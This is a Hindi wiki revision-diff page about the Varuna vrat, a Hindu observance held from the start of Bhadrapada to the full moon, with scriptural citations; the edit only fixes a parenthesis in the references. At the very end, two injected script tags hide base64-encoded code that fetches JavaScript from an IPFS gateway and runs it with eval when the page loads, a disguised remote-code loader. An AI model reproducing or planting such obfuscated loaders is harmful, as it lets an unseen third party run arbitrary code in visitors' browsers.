एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "०"।

"वरुण व्रत" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
छो (Text replace - ")</ref" to "</ref")
 
पंक्ति 3: पंक्ति 3:
 
*इसमें [[वरुण देवता|वरुण]] पूजा करनी चाहिए।  
 
*इसमें [[वरुण देवता|वरुण]] पूजा करनी चाहिए।  
 
*अन्त में छ़त्र, चप्पलों एवं दो वस्त्रों के साथ में जलधेनु का दान करना चाहिए।   
 
*अन्त में छ़त्र, चप्पलों एवं दो वस्त्रों के साथ में जलधेनु का दान करना चाहिए।   
*'जलधेनु' शब्द<ref>[[अनुशासन पर्व महाभारत|अनुशासनपर्व]] (71|41) एवं [[मत्स्य पुराण]] (53|13)</ref> में भी प्रयुक्त हुआ है।  
+
*'जलधेनु' शब्द<ref>[[अनुशासन पर्व महाभारत|अनुशासनपर्व]] (71|41) एवं [[मत्स्य पुराण]] (53|13</ref> में भी प्रयुक्त हुआ है।  
*यदि कोई रात्रि भर पानी में खड़ा होकर दूसरे दिन प्रात: गौ दान करता है तो वह वरुण लोक को जाता है।<ref>कृत्यकल्पतरु (व्रतखण्ड 450, 52वाँ षष्ठी व्रत); हेमाद्रि (व्रतखण्ड 2, 905, [[पद्म पुराण]] से उद्धरण); [[मत्स्य पुराण]] (101|74); विष्णुधर्मोत्तरपुराण (3|195|1-3)</ref>  
+
*यदि कोई रात्रि भर पानी में खड़ा होकर दूसरे दिन प्रात: गौ दान करता है तो वह वरुण लोक को जाता है।<ref>कृत्यकल्पतरु (व्रतखण्ड 450, 52वाँ षष्ठी व्रत); हेमाद्रि (व्रतखण्ड 2, 905, [[पद्म पुराण]] से उद्धरण); [[मत्स्य पुराण]] (101|74); विष्णुधर्मोत्तरपुराण (3|195|1-3</ref>  
 
{{संदर्भ ग्रंथ}}
 
{{संदर्भ ग्रंथ}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==

12:35, 27 जुलाई 2011 के समय का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • यह व्रत भाद्रपद के आरम्भ से पूर्णिमा तक करना चाहिए।
  • इसमें वरुण पूजा करनी चाहिए।
  • अन्त में छ़त्र, चप्पलों एवं दो वस्त्रों के साथ में जलधेनु का दान करना चाहिए।
  • 'जलधेनु' शब्द[1] में भी प्रयुक्त हुआ है।
  • यदि कोई रात्रि भर पानी में खड़ा होकर दूसरे दिन प्रात: गौ दान करता है तो वह वरुण लोक को जाता है।[2]

टीका टिप्पणी और संदर्भ

  1. अनुशासनपर्व (71|41) एवं मत्स्य पुराण (53|13
  2. कृत्यकल्पतरु (व्रतखण्ड 450, 52वाँ षष्ठी व्रत); हेमाद्रि (व्रतखण्ड 2, 905, पद्म पुराण से उद्धरण); मत्स्य पुराण (101|74); विष्णुधर्मोत्तरपुराण (3|195|1-3

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>